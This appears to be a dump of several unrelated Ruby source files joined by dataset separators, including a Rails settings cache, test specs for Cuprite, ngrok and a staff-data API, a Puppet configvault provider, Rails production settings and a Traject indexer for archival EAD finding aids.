reduced_hash[k[root_key.length, k.length]] = v end end flattened = reduced_hash end structured_hash = {} flattened.each do |key, value| set_nested_hash_value(structured_hash, key, value, 0, delimiter: delimiter, max_depth: max_depth) end deep_freeze_hash(structured_hash) @lock.synchronize do @hashes[cache_key] = structured_hash end structured_hash end # Check if the cache includes a key. Note that this will return true if you have tried # to fetch a non-existent key since the cache will store that as undefined. This method # is provided for testing purposes. # # @api private # @param key [String, Symbol] setting key # @return [Boolean] def include?(key) @cache.include?(key.to_s) end # Get the number of entries in the cache. Note that this will include cache misses as well. # # @api private # @return the number of entries in the cache. def size ensure_cache_up_to_date! @cache.size end # Return the cached settings as a key/value hash. Calling this method will load the cache # with the settings if they have not already been loaded. # # @return [Hash] def to_h ensure_cache_up_to_date! hash = {} @cache.each do |key, data| value, _ = data hash[key] = value unless value == NOT_DEFINED end hash end # Return true if the cache has already been loaded from the database. # # @return [Boolean] def loaded? !!@last_refreshed end # Load all the settings from the database into the cache. def load_settings(asynchronous = false) return if @refreshing @lock.synchronize do return if @refreshing @refreshing = true @next_check_at = Time.now + @refresh_interval end load_block = lambda do begin values = {} start_time = Time.now Setting.active.each do |setting| values[setting.key] = setting.value.freeze end set_cache_values(start_time) { values } ensure @refreshing = false end end if asynchronous Thread.new(&load_block) else load_block.call end end # Load only settings that have changed since the last load. def refresh(asynchronous = false) last_refresh_time = @last_refreshed return if last_refresh_time.nil? return if @refreshing @lock.synchronize do return if @refreshing @next_check_at = Time.now + @refresh_interval return if @cache.empty? @refreshing = true end refresh_block = lambda do begin last_db_update = Setting.last_updated_at if last_db_update.nil? || last_db_update >= last_refresh_time - 1 merge_load(last_refresh_time) end ensure @refreshing = false end end if asynchronous Thread.new(&refresh_block) else refresh_block.call end end # Reset the cache to an unloaded state. def reset @lock.synchronize do @cache = {}.freeze @hashes = {} @last_refreshed = nil @next_check_at = Time.now + @refresh_interval @refreshing = false end end # Set the number of seconds to wait between cache refresh checks. # # @param seconds [Numeric] def refresh_interval=(seconds) @lock.synchronize do @refresh_interval = seconds.to_f @next_check_at = Time.now + @refresh_interval if @next_check_at > Time.now + @refresh_interval end end # Update a single setting directly into the cache. # @api private def update_setting(setting) return if Coerce.blank?(setting.key) @lock.synchronize do @cache = @cache.merge(setting.key => setting.value) @hashes = {} end end # Wait for the settings to be loaded if a new load was triggered. This can happen asynchronously. # @api private def wait_for_load loop do return unless @refreshing sleep(0.001) end end private # Load just the settings have that changed since the specified timestamp. def merge_load(last_refresh_time) changed_settings = {} start_time = Time.now Setting.updated_since(last_refresh_time - 1).each do |setting| value = (setting.deleted? ? NOT_DEFINED : setting.value) changed_settings[setting.key] = value end set_cache_values(start_time) { @cache.merge(changed_settings) } end # Check that cache has update to date data in it. If it doesn't, then sync the # cache with the database. def ensure_cache_up_to_date! if @last_refreshed.nil? # Abort if another thread is already calling load_settings previous_cache_id = @cache.object_id @lock.synchronize do return unless previous_cache_id == @cache.object_id end load_settings(Setting.storage.load_asynchronous?) elsif Time.now >= @next_check_at refresh end end # Synchronized method for setting cache and sync meta data. def set_cache_values(refreshed_at_time, &block) @lock.synchronize do @last_refreshed = refreshed_at_time @refreshing = false @cache = block.call.freeze @hashes = {} end end # Recusive method for creating a nested hash from delimited keys. def set_nested_hash_value(hash, key, value, current_depth, delimiter:, max_depth:) key, sub_key = (max_depth && current_depth < max_depth ? [key, nil] : key.split(delimiter, 2)) if sub_key sub_hash = hash[key] unless sub_hash.is_a?(Hash) sub_hash = {} hash[key] = sub_hash end set_nested_hash_value(sub_hash, sub_key, value, current_depth + 1, delimiter: delimiter, max_depth: max_depth) else hash[key] = value end end # Recursively freeze a hash. def deep_freeze_hash(hash) hash.each_value do |value| deep_freeze_hash(value) if value.is_a?(Hash) end hash.freeze end end end
30.596091
118
0.635473
eddeefee83f82506894bdac20e4767e83d08cdc4
733
# frozen_string_literal: true require "spec_helper" require "stringio" module Capybara::Cuprite describe Browser do it "logs requests and responses" do logger = StringIO.new browser = Browser.new(logger: logger) browser.body expect(logger.string).to include("return document.documentElement.outerHTML") expect(logger.string).to include("<html><head></head><body></body></html>") end it "shows command line options passed" do browser = Browser.new(browser: { "blink-settings" => "imagesEnabled=false" }) arguments = browser.command("Browser.getBrowserCommandLine")["arguments"] expect(arguments).to include("--blink-settings=imagesEnabled=false") end end end
27.148148
83
0.698499
39e9f627631aaef17aaf3bcefd8e0507d5a30080
76
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__) require 'enigma'
25.333333
58
0.723684
1abb73056ee77315ecb0c4831423dae2f6ff3955
1,427
require 'open3' Puppet::Type.type(:configvault_write).provide(:standard, :parent => Puppet::Provider::Package) do def create run_cmd('write', false, expected) end def destroy run_cmd('delete') end def exists? current = run_cmd('read', true) return false if current.nil? return current == expected end def expected @expected ||= File.read(@resource[:source]) end def build_cmd(action) user = @resource[:user] || defaults[:user] args = [ @resource[:binfile] || defaults[:binfile], action, @resource[:bucket] || defaults[:bucket], @resource[:key], '--user=' + user ] if !@resource[:public] && (action == 'read' || action == 'list') args << '--private' elsif @resource[:public] && (action == 'write' || action == 'delete') args << '--public' end args end def run_cmd(action, missing_ok = false, stdin_data = nil) cmd = build_cmd(action) stdout, stderr, status = Open3.capture3(*cmd, stdin_data: stdin_data) unless status.success? return nil if missing_ok && stderr =~ /https response error StatusCode: 404/ fail('Configvault failed: ' + stderr) end stdout end def defaults @defaults ||= @resource.parent.catalog.resources.find { |x| x.parameters[:name] && x.parameters[:name].value == 'Configvault' }.original_parameters end def self.instances [] end end
24.186441
151
0.623686
ac738882296d7d8f3834fc0cacbf6027deee8455
5,004
Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # Code is not reloaded between requests. config.cache_classes = true # Eager load code on boot. This eager loads most of Rails and # your application in memory, allowing both threaded web servers # and those relying on copy on write to perform better. # Rake tasks automatically ignore this option for performance. config.eager_load = true # Full error reports are disabled and caching is turned on. config.consider_all_requests_local = false config.action_controller.perform_caching = true # Ensures that a master key has been made available in either ENV["RAILS_MASTER_KEY"] # or in config/master.key. This key is used to decrypt credentials (and other encrypted files). # config.require_master_key = true # Disable serving static files from the `/public` folder by default since # Apache or NGINX already handles this. config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present? # Compress CSS using a preprocessor. # config.assets.css_compressor = :sass # Do not fallback to assets pipeline if a precompiled asset is missed. config.assets.compile = true # Enable serving of images, stylesheets, and JavaScripts from an asset server. # config.action_controller.asset_host = 'http://assets.example.com' # Specifies the header that your server uses for sending files. # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX # Store uploaded files on the local file system (see config/storage.yml for options). config.active_storage.service = :local # Mount Action Cable outside main process or domain. # config.action_cable.mount_path = nil # config.action_cable.url = 'wss://example.com/cable' # config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ] # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true # Use the lowest log level to ensure availability of diagnostic information # when problems arise. config.log_level = :debug # Prepend all log lines with the following tags. config.log_tags = [:request_id] # Use a different cache store in production. # config.cache_store = :mem_cache_store # Use a real queuing backend for Active Job (and separate queues per environment). # config.active_job.queue_adapter = :resque # config.active_job.queue_name_prefix = "newshy_production" config.action_mailer.perform_caching = false # Ignore bad email addresses and do not raise email delivery errors. # Set this to true and configure the email server for immediate delivery to raise delivery errors. # config.action_mailer.raise_delivery_errors = false # Enable locale fallbacks for I18n (makes lookups for any locale fall back to # the I18n.default_locale when a translation cannot be found). config.i18n.fallbacks = true # Send deprecation notices to registered listeners. config.active_support.deprecation = :notify # Use default logging formatter so that PID and timestamp are not suppressed. config.log_formatter = ::Logger::Formatter.new # Use a different logger for distributed setups. # require 'syslog/logger' # config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name') if ENV["RAILS_LOG_TO_STDOUT"].present? logger = ActiveSupport::Logger.new(STDOUT) logger.formatter = config.log_formatter config.logger = ActiveSupport::TaggedLogging.new(logger) end # Do not dump schema after migrations. config.active_record.dump_schema_after_migration = false # Inserts middleware to perform automatic connection switching. # The `database_selector` hash is used to pass options to the DatabaseSelector # middleware. The `delay` is used to determine how long to wait after a write # to send a subsequent read to the primary. # # The `database_resolver` class is used by the middleware to determine which # database is appropriate to use based on the time delay. # # The `database_resolver_context` class is used by the middleware to set # timestamps for the last write to the primary. The resolver uses the context # class timestamps to determine how long to wait before reading from the # replica. # # By default Rails will store a last write timestamp in the session. The # DatabaseSelector middleware is designed as such you can define your own # strategy for connection switching and pass that into the middleware through # these configuration options. # config.active_record.database_selector = { delay: 2.seconds } # config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver # config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session end
44.283186
114
0.76239
016e2aeb6f429f814f8065669940e5922426dec8
6,257
require 'spec_helper' RSpec.describe NgrokAPI::Services::EdgesTLSClient do let(:base_url) { 'https://api.ngrok.com' } let(:path) { '/edges/tls' } let(:not_found) do NgrokAPI::Errors::NotFoundError.new(response: tls_edge_result) end before(:each) do @client = class_double("HttpClient") @edges_tls_client = NgrokAPI::Services::EdgesTLSClient.new(client: @client) end describe "#create" do it "will make a post request and return an instance of NgrokAPI::Models::TLSEdge" do path = '/edges/tls' replacements = { } data = {} data[:description] = "New description" data[:metadata] = "New metadata" data[:hostports] = "New hostports" data[:backend] = "New backend" data[:ip_restriction] = "New ip_restriction" data[:mutual_tls] = "New mutual_tls" data[:tls_termination] = "New tls_termination" expect(@client).to receive(:post).with(path % replacements, data: data). and_return(tls_edge_result) result = @edges_tls_client.create( description: "New description", metadata: "New metadata", hostports: "New hostports", backend: "New backend", ip_restriction: "New ip_restriction", mutual_tls: "New mutual_tls", tls_termination: "New tls_termination" ) expect(result.class).to eq(NgrokAPI::Models::TLSEdge) end end describe "#get" do it "will make a get request and return an instance of NgrokAPI::Models::TLSEdge" do path = '/edges/tls/%{id}' replacements = { id: tls_edge_result["id"], } data = {} expect(@client).to receive(:get).with(path % replacements, data: data). and_return(tls_edge_result) result = @edges_tls_client.get( id: tls_edge_result["id"] ) expect(result.class).to eq(NgrokAPI::Models::TLSEdge) end end describe "#get!" do it "will make a get request and return an instance of NgrokAPI::Models::TLSEdge" do path = '/edges/tls/%{id}' replacements = { id: tls_edge_result["id"], } data = {} expect(@client).to receive(:get).with(path % replacements, data: data). and_return(tls_edge_result) result = @edges_tls_client.get( id: tls_edge_result["id"] ) expect(result.class).to eq(NgrokAPI::Models::TLSEdge) # expect(result.id).to eq(tls_edge_result["id"]) end end describe "#list" do it "will make a call to list (a GET request) and return a NgrokAPI::Models::Listable" do expect(@client).to receive(:list). and_return(tls_edge_results) url = base_url + path + "?before_id=" + api_key_result["id"] + "&limit=1" result = @edges_tls_client.list(url: url) expect(result.class).to eq(NgrokAPI::Models::Listable) end end describe "#update" do it "will make a patch request and return an instance of NgrokAPI::Models::TLSEdge" do path = '/edges/tls/%{id}' replacements = { id: tls_edge_result["id"], } data = {} data[:description] = "New description" data[:metadata] = "New metadata" data[:hostports] = "New hostports" data[:backend] = "New backend" data[:ip_restriction] = "New ip_restriction" data[:mutual_tls] = "New mutual_tls" data[:tls_termination] = "New tls_termination" expect(@client).to receive(:patch).with(path % replacements, data: data). and_return(tls_edge_result) result = @edges_tls_client.update( id: tls_edge_result["id"], description: "New description", metadata: "New metadata", hostports: "New hostports", backend: "New backend", ip_restriction: "New ip_restriction", mutual_tls: "New mutual_tls", tls_termination: "New tls_termination" ) expect(result.class).to eq(NgrokAPI::Models::TLSEdge) end end describe "#update!" do it "will make a patch request and return an instance of NgrokAPI::Models::TLSEdge" do path = '/edges/tls/%{id}' replacements = { id: tls_edge_result["id"], } data = {} data[:description] = "New description" data[:metadata] = "New metadata" data[:hostports] = "New hostports" data[:backend] = "New backend" data[:ip_restriction] = "New ip_restriction" data[:mutual_tls] = "New mutual_tls" data[:tls_termination] = "New tls_termination" expect(@client).to receive(:patch).with(path % replacements, data: data). and_return(tls_edge_result) result = @edges_tls_client.update( id: tls_edge_result["id"], description: "New description", metadata: "New metadata", hostports: "New hostports", backend: "New backend", ip_restriction: "New ip_restriction", mutual_tls: "New mutual_tls", tls_termination: "New tls_termination" ) expect(result.class).to eq(NgrokAPI::Models::TLSEdge) # expect(result.id).to eq(tls_edge_result["id"]) end end describe "#delete" do it "will make a delete request" do path = '/edges/tls/%{id}' replacements = { id: api_key_result["id"], } expect(@client).to receive(:delete).with(path % replacements).and_return(nil) @edges_tls_client.delete( id: api_key_result["id"] ) end end describe "#delete!" do it "will make a delete request" do path = '/edges/tls/%{id}' replacements = { id: api_key_result["id"], } expect(@client).to receive(:delete).with(path % replacements, danger: true).and_return(nil) @edges_tls_client.delete!( id: api_key_result["id"] ) end it "will make a delete request and return NotFoundError if 404" do path = '/edges/tls/%{id}' replacements = { id: api_key_result["id"], } expect do expect(@client).to receive(:delete).with(path % replacements, danger: true). and_raise(NgrokAPI::Errors::NotFoundError) result = @edges_tls_client.delete!( id: api_key_result["id"] ) expect(result).to be nil end.to raise_error(NgrokAPI::Errors::NotFoundError) end end end
33.281915
97
0.619946
5d787cbcf201d7569c2bd225b3e2b037bfc67c7e
1,103
Pod::Spec.new do |s| s.name = "practice123" s.version = "0.0.1" s.summary = "A marquee view used on iOS." #s.description = <<-DESC # It is a marquee view used on iOS, which implement by Objective-C. # DESC s.homepage = "https://github.com/jiaoshenmene/practice123" # s.screenshots = "www.example.com/screenshots_1", "www.example.com/screenshots_2" s.license = 'MIT' s.author = { "杜甲" => "[email protected]" } s.source = { :git => "https://github.com/jiaoshenmene/practice123.git", :tag => s.version.to_s } # s.social_media_url = 'https://twitter.com/NAME' s.platform = :ios, '7.0' # s.ios.deployment_target = '5.0' # s.osx.deployment_target = '10.7' s.requires_arc = true s.source_files = 'practice123/*' # s.resources = 'Assets' # s.ios.exclude_files = 'Classes/osx' # s.osx.exclude_files = 'Classes/ios' # s.public_header_files = 'Classes/**/*.h' s.frameworks = 'Foundation' end
40.851852
110
0.55485
f8618d17ed36f507b0aba98b704fa70fdb41e037
1,474
# frozen_string_literal: true # WARNING ABOUT GENERATED CODE # # This file is generated. See the contributing guide for more information: # https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md # # WARNING ABOUT GENERATED CODE require 'aws-sdk-core' require 'aws-sigv4' require_relative 'aws-sdk-lookoutmetrics/types' require_relative 'aws-sdk-lookoutmetrics/client_api' require_relative 'aws-sdk-lookoutmetrics/client' require_relative 'aws-sdk-lookoutmetrics/errors' require_relative 'aws-sdk-lookoutmetrics/resource' require_relative 'aws-sdk-lookoutmetrics/customizations' # This module provides support for Amazon Lookout for Metrics. This module is available in the # `aws-sdk-lookoutmetrics` gem. # # # Client # # The {Client} class provides one method for each API operation. Operation # methods each accept a hash of request parameters and return a response # structure. # # lookout_metrics = Aws::LookoutMetrics::Client.new # resp = lookout_metrics.activate_anomaly_detector(params) # # See {Client} for more information. # # # Errors # # Errors returned from Amazon Lookout for Metrics are defined in the # {Errors} module and all extend {Errors::ServiceError}. # # begin # # do stuff # rescue Aws::LookoutMetrics::Errors::ServiceError # # rescues all Amazon Lookout for Metrics API errors # end # # See {Errors} for more information. # # @!group service module Aws::LookoutMetrics GEM_VERSION = '1.12.0' end
27.296296
94
0.75848
ffddb8b9c22fd1306e6d544aceccf40d2710c0a7
4,557
Rails.application.configure do # Settings specified here will take precedence over those in config/application.rb. # Code is not reloaded between requests. config.cache_classes = true # Eager load code on boot. This eager loads most of Rails and # your application in memory, allowing both threaded web servers # and those relying on copy on write to perform better. # Rake tasks automatically ignore this option for performance. config.eager_load = true # Full error reports are disabled and caching is turned on. config.consider_all_requests_local = false config.action_controller.perform_caching = true # Attempt to read encrypted secrets from `config/secrets.yml.enc`. # Requires an encryption key in `ENV["RAILS_MASTER_KEY"]` or # `config/secrets.yml.key`. config.read_encrypted_secrets = true # Disable serving static files from the `/public` folder by default since # Apache or NGINX already handles this. config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present? # Compress JavaScripts and CSS. config.assets.js_compressor = :uglifier # config.assets.css_compressor = :sass # Do not fallback to assets pipeline if a precompiled asset is missed. config.assets.compile = false config.action_controller.asset_host = "assets.francescoboffa.com" # `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb # Enable serving of images, stylesheets, and JavaScripts from an asset server. # config.action_controller.asset_host = 'http://assets.example.com' # Specifies the header that your server uses for sending files. # config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX # Mount Action Cable outside main process or domain # config.action_cable.mount_path = nil # config.action_cable.url = 'wss://example.com/cable' # config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ] # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. # config.force_ssl = true # Use the lowest log level to ensure availability of diagnostic information # when problems arise. config.log_level = :debug # Prepend all log lines with the following tags. config.log_tags = [ :request_id ] # Use a different cache store in production. # config.cache_store = :mem_cache_store # Use a real queuing backend for Active Job (and separate queues per environment) # config.active_job.queue_adapter = :resque # config.active_job.queue_name_prefix = "IndieRails_#{Rails.env}" config.action_mailer.perform_caching = false # Ignore bad email addresses and do not raise email delivery errors. # Set this to true and configure the email server for immediate delivery to raise delivery errors. # config.action_mailer.raise_delivery_errors = false # Enable locale fallbacks for I18n (makes lookups for any locale fall back to # the I18n.default_locale when a translation cannot be found). config.i18n.fallbacks = true # Send deprecation notices to registered listeners. config.active_support.deprecation = :notify # Use default logging formatter so that PID and timestamp are not suppressed. config.log_formatter = ::Logger::Formatter.new # Use a different logger for distributed setups. # require 'syslog/logger' # config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name') if ENV["RAILS_LOG_TO_STDOUT"].present? logger = ActiveSupport::Logger.new(STDOUT) logger.formatter = config.log_formatter config.logger = ActiveSupport::TaggedLogging.new(logger) end # Do not dump schema after migrations. config.active_record.dump_schema_after_migration = false config.read_encrypted_secrets = true config.action_controller.default_url_options = { host: 'francescoboffa.com', protocol: 'https' } config.paperclip_defaults = { storage: :s3, s3_credentials: { bucket: 'media.francescoboffa.com', access_key_id: Rails.application.secrets.aws_access_key_id, secret_access_key: Rails.application.secrets.aws_secret_access_key, }, path: ':class/:id/:attachment/:style/:filename', s3_region: 'eu-central-1', s3_protocol: 'https', s3_host_alias: 'media.francescoboffa.com', url: ':s3_alias_url' } end Rails.application.routes.default_url_options = { host: 'francescoboffa.com', protocol: 'https' }
37.975
102
0.749397
f8f9933f7b365fd2b1d842bb99a035740a3143c7
635
# == Schema Information # # Table name: users # # id :bigint not null, primary key # display_name :string not null # email :string not null # photo_url :string # created_at :datetime not null # updated_at :datetime not null # # Indexes # # index_users_on_email (email) UNIQUE # require 'rails_helper' RSpec.describe User, type: :model do example 'user should have username' do expect { User.create!(email: nil) }.to raise_error(ActiveRecord::RecordInvalid) expect { User.create!(email: '') }.to raise_error(ActiveRecord::RecordInvalid) end end
26.458333
83
0.640945
e9ed7df125565dcb772b32ae8a8f3bfcfa431f08
2,467
require 'minitest/autorun' require_relative './common_setup_and_teardown.rb' class StaffDataTest < Minitest::Test include CommonSetupAndTeardown def setup @staff_data_1 = { staff_id: 300, code: 'QUALIFICATION', value: 'TOEIC', start_timestamp: '2016-01-01', no_finish_timestamp: '1', memo: 'First memo' } super("staff_data") end def test_create_staff_data # NOTE : So far Tsubaiso SDK does not support create new staff. # NOTE : This test assume that staff who has id: 300 is exist. staff_data = @api.create_staff_data(@staff_data_1) assert_equal 200, staff_data[:status].to_i, staff_data.inspect @staff_data_1.each_pair do |key, val| assert staff_data[:json][key] != nil, "#{key} not found." assert_equal val, staff_data[:json][key], "col :#{key}, #{val} was expected but #{staff_data[:json][key]} was found." end end def test_show_staff_data staff_data = @api.create_staff_data(@staff_data_1) # get data using id (of data) get_staff_data = @api.show_staff_data(staff_data[:json][:id].to_i) assert_equal 200, get_staff_data[:status].to_i, get_staff_data.inspect assert_equal staff_data[:json][:id], get_staff_data[:json][:id] options = { staff_id: staff_data[:json][:staff_id], code: staff_data[:json][:code], time: staff_data[:json][:start_timestamp] } # get data using staff id and code (packed in Hash) get_staff_data_2 = @api.show_staff_data(options) assert_equal 200, get_staff_data_2[:status].to_i, get_staff_data.inspect assert_equal staff_data[:json][:id], get_staff_data_2[:json][:id] end def test_list_staff_data staff_data = @api.list_staff_data(@staff_data_1[:staff_id]) assert_equal 200, staff_data[:status].to_i, staff_data.inspect @staff_data_1.each_pair do |key, val| assert staff_data[:json][0][key] != nil, "#{key} not found." assert_equal val, staff_data[:json][0][key], "col :#{key}, #{val} was expected but #{staff_data[:json][0][key]} was found." end end def test_update_staff_data options = { staff_id: 0, value: 'Programmer' } updated_staff_data = @api.update_staff_data(options) assert_equal 200, updated_staff_data[:status].to_i, updated_staff_data.inspect assert_equal options[:staff_id], updated_staff_data[:json][:id].to_i assert_equal 'Programmer', updated_staff_data[:json][:value] end end
34.263889
130
0.692339
bbca45fb86a9c030d6d090d8ddbb71fa024b244f
1,233
require File.expand_path('../boot', __FILE__) # Pick the frameworks you want: require "active_model/railtie" require "active_record/railtie" require "action_controller/railtie" require "action_mailer/railtie" require "action_view/railtie" require "sprockets/railtie" # require "rails/test_unit/railtie" # Require the gems listed in Gemfile, including any gems # you've limited to :test, :development, or :production. Bundler.require(*Rails.groups) module SmartEventSchedulerServer class Application < Rails::Application # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. # Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC. # config.time_zone = 'Central Time (US & Canada)' # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s] # config.i18n.default_locale = :de end end
39.774194
99
0.746959
113ef2bd7b2665ea30cdb0aae5c98674c96aad29
651
require File.dirname(__FILE__) + '/../../spec_helper' describe "IO#rewind" do before :each do @file = File.open(File.dirname(__FILE__) + '/fixtures/readlines.txt', 'r') @io = IO.open @file.fileno end after :each do @file.close end it "positions the instance to the beginning of input" do @io.readline.should == "Voici la ligne une.\n" @io.readline.should == "Qui è la linea due.\n" @io.rewind @io.readline.should == "Voici la ligne une.\n" end it "sets lineno to 0" do @io.readline.should == "Voici la ligne une.\n" @io.lineno.should == 1 @io.rewind @io.lineno.should == 0 end end
24.111111
78
0.625192
edaaf3a3819466a310f7d32b34fafdc3d27b5ebc
19,076
# frozen_string_literal: true require "logger" require "traject" require "traject/nokogiri_reader" require "traject_plus" require "traject_plus/macros" require "arclight/level_label" require "arclight/normalized_date" require "arclight/normalized_title" require "active_model/conversion" ## Needed for Arclight::Repository require "active_support/core_ext/array/wrap" require Rails.root.join("app", "overrides", "arclight", "digital_object_override") require "arclight/year_range" require "arclight/repository" require "arclight/missing_id_strategy" require "arclight/traject/nokogiri_namespaceless_reader" require_relative "../normalized_title" require_relative "../normalized_date" require_relative "../normalized_box_locations" require_relative "../year_range" require Rails.root.join("lib", "pulfalight", "traject", "ead2_indexing") require Rails.root.join("app", "values", "pulfalight", "location_code") require Rails.root.join("app", "values", "pulfalight", "physical_location_code") extend TrajectPlus::Macros self.class.include(Pulfalight::Ead2Indexing) # Configure the settings before the Document is indexed configure_before # ================== # Top level document # ================== # rubocop:disable Performance/StringReplacement # TODO: These should be combined into a single method to_field "id", extract_xpath("/ead/eadheader/eadid", to_text: false) do |_record, accumulator| string_array = accumulator.map(&:text) string_array = string_array.map { |a| a.gsub(".", "-") } string_array = string_array.map { |a| a.split("|").first } accumulator.replace(string_array) end to_field "ead_ssi", extract_xpath("/ead/eadheader/eadid", to_text: false) do |_record, accumulator| string_array = accumulator.map(&:text) string_array = string_array.map { |a| a.gsub(".", "-") } string_array = string_array.map { |a| a.split("|").first } accumulator.replace(string_array) end # rubocop:enable Performance/StringReplacement to_field "title_filing_si", extract_xpath('/ead/eadheader/filedesc/titlestmt/titleproper[@type="filing"]') to_field "title_ssm", extract_xpath("/ead/archdesc/did/unittitle") to_field "title_teim", extract_xpath("/ead/archdesc/did/unittitle") to_field "subtitle_ssm", extract_xpath("/ead/archdesc/did/unittitle") to_field "subtitle_teim", extract_xpath("/ead/archdesc/did/unittitle") to_field "ark_tsim", extract_xpath("/ead/eadheader/eadid/@url", to_text: false) do |_record, accumulator| accumulator.replace(accumulator.map(&:text)) end # Use normal attribute value of unitdate. Text values are unreliable and potentially very different. # E.g. <unitdate normal="1670/1900" type="inclusive">1600s-1900s</unitdate> # returns a date range of 1600-1900 rather than 1670-1900. to_field "unitdate_ssm", extract_xpath("/ead/archdesc/did/unitdate/@normal", to_text: false) do |_record, accumulator| accumulator.replace [accumulator&.first&.value] end to_field "unitdate_bulk_ssim", extract_xpath('/ead/archdesc/did/unitdate[@type="bulk"]/@normal', to_text: false) do |_record, accumulator| accumulator.replace [accumulator&.first&.value] end to_field "unitdate_inclusive_ssm", extract_xpath('/ead/archdesc/did/unitdate[@type="inclusive"]/@normal', to_text: false) do |_record, accumulator| accumulator.replace [accumulator&.first&.value] end to_field "unitdate_other_ssim", extract_xpath("/ead/archdesc/did/unitdate[not(@type)]") # All top-level docs treated as 'collection' for routing / display purposes to_field "level_ssm" do |_record, accumulator| accumulator << "collection" end # Keep the original top-level archdesc/@level for Level facet in addition to 'Collection' to_field "level_sim" do |record, accumulator| archdesc = record.at_xpath("/ead/archdesc") unless archdesc.nil? level = archdesc.attribute("level")&.value other_level = archdesc.attribute("otherlevel")&.value accumulator << Arclight::LevelLabel.new(level, other_level).to_s accumulator << "Collection" unless level == "collection" end end to_field "unitid_ssm", extract_xpath("/ead/archdesc/did/unitid") to_field "unitid_teim", extract_xpath("/ead/archdesc/did/unitid") to_field "physloc_code_ssm" do |record, accumulator| record.xpath("/ead/archdesc/did/physloc").each do |physloc_element| if Pulfalight::PhysicalLocationCode.registered?(physloc_element.text) physical_location_code = Pulfalight::PhysicalLocationCode.resolve(physloc_element.text) accumulator << physical_location_code.to_s end end end to_field "summary_storage_note_ssm" do |record, accumulator| locations = {} record.xpath("//container[@type='box']").each do |box| location_code = box["altrender"] locations[location_code] = [] if locations[location_code].nil? locations[location_code] << box.text end accumulator << Pulfalight::NormalizedBoxLocations.new(locations).to_s end to_field "location_code_ssm" do |record, accumulator| values = [] record.xpath("/ead/archdesc/did/physloc").each do |physloc_element| if Pulfalight::LocationCode.registered?(physloc_element.text) location_code = Pulfalight::LocationCode.resolve(physloc_element.text) values << location_code.to_s end end accumulator.concat(values.uniq) end to_field "location_note_ssm" do |record, accumulator| record.xpath("/ead/archdesc/did/physloc").each do |physloc_element| accumulator << physloc_element.text if !Pulfalight::PhysicalLocationCode.registered?(physloc_element.text) && !Pulfalight::LocationCode.registered?(physloc_element.text) end end to_field "collection_unitid_ssm", extract_xpath("/ead/archdesc/did/unitid") to_field "normalized_title_ssm" do |_record, accumulator, context| dates = Pulfalight::NormalizedDate.new( context.output_hash["unitdate_inclusive_ssm"], context.output_hash["unitdate_bulk_ssim"], context.output_hash["unitdate_other_ssim"] ).to_s titles = context.output_hash["title_ssm"] if titles.present? title = titles.first accumulator << Pulfalight::NormalizedTitle.new(title, dates).to_s end end to_field "normalized_date_ssm" do |_record, accumulator, context| accumulator << Pulfalight::NormalizedDate.new( context.output_hash["unitdate_inclusive_ssm"], context.output_hash["unitdate_bulk_ssim"], context.output_hash["unitdate_other_ssim"] ).to_s end to_field "collection_ssm" do |_record, accumulator, context| accumulator.concat context.output_hash.fetch("normalized_title_ssm", []) end to_field "collection_sim" do |_record, accumulator, context| accumulator.concat context.output_hash.fetch("normalized_title_ssm", []) end to_field "collection_ssi" do |_record, accumulator, context| accumulator.concat context.output_hash.fetch("normalized_title_ssm", []) end to_field "collection_title_tesim" do |_record, accumulator, context| accumulator.concat context.output_hash.fetch("normalized_title_ssm", []) end to_field "repository_ssm" do |_record, accumulator, context| accumulator << context.clipboard[:repository] end to_field "repository_sim" do |_record, accumulator, context| accumulator << context.clipboard[:repository] end to_field "repository_code_ssm" do |_record, accumulator, context| accumulator << context.settings[:repository] end to_field "geogname_ssm", extract_xpath("/ead/archdesc/controlaccess/geogname") to_field "geogname_sim", extract_xpath("/ead/archdesc/controlaccess/geogname") to_field "creator_ssm", extract_xpath("/ead/archdesc/did/origination[@label='Creator']") do |_record, accumulator| accumulator.uniq! end to_field "creator_sim", extract_xpath("/ead/archdesc/did/origination[@label='Creator']") do |_record, accumulator| accumulator.uniq! end to_field "creator_ssim", extract_xpath("/ead/archdesc/did/origination[@label='Creator']") do |_record, accumulator| accumulator.uniq! end to_field "creator_sort" do |record, accumulator| accumulator << record.xpath("/ead/archdesc/did/origination[@label='Creator']").map { |c| c.text.strip }.uniq.join(", ") end to_field "creator_persname_ssm", extract_xpath("/ead/archdesc/did/origination/persname[@role='cre']") to_field "creator_persname_ssim", extract_xpath("/ead/archdesc/did/origination/persname[@role=\"cre\"]") to_field "creator_corpname_ssm", extract_xpath("/ead/archdesc/did/origination/corpname[@role='cre']") to_field "creator_corpname_sim", extract_xpath("/ead/archdesc/did/origination/corpname[@role='cre']") to_field "creator_corpname_ssim", extract_xpath("/ead/archdesc/did/origination/corpname[@role='cre']") to_field "creator_famname_ssm", extract_xpath("/ead/archdesc/did/origination/famname[@role='cre']") to_field "creator_famname_ssim", extract_xpath("/ead/archdesc/did/origination/famname[@role='cre']") to_field "persname_sim", extract_xpath("//persname") to_field "creators_ssim" do |_record, accumulator, context| 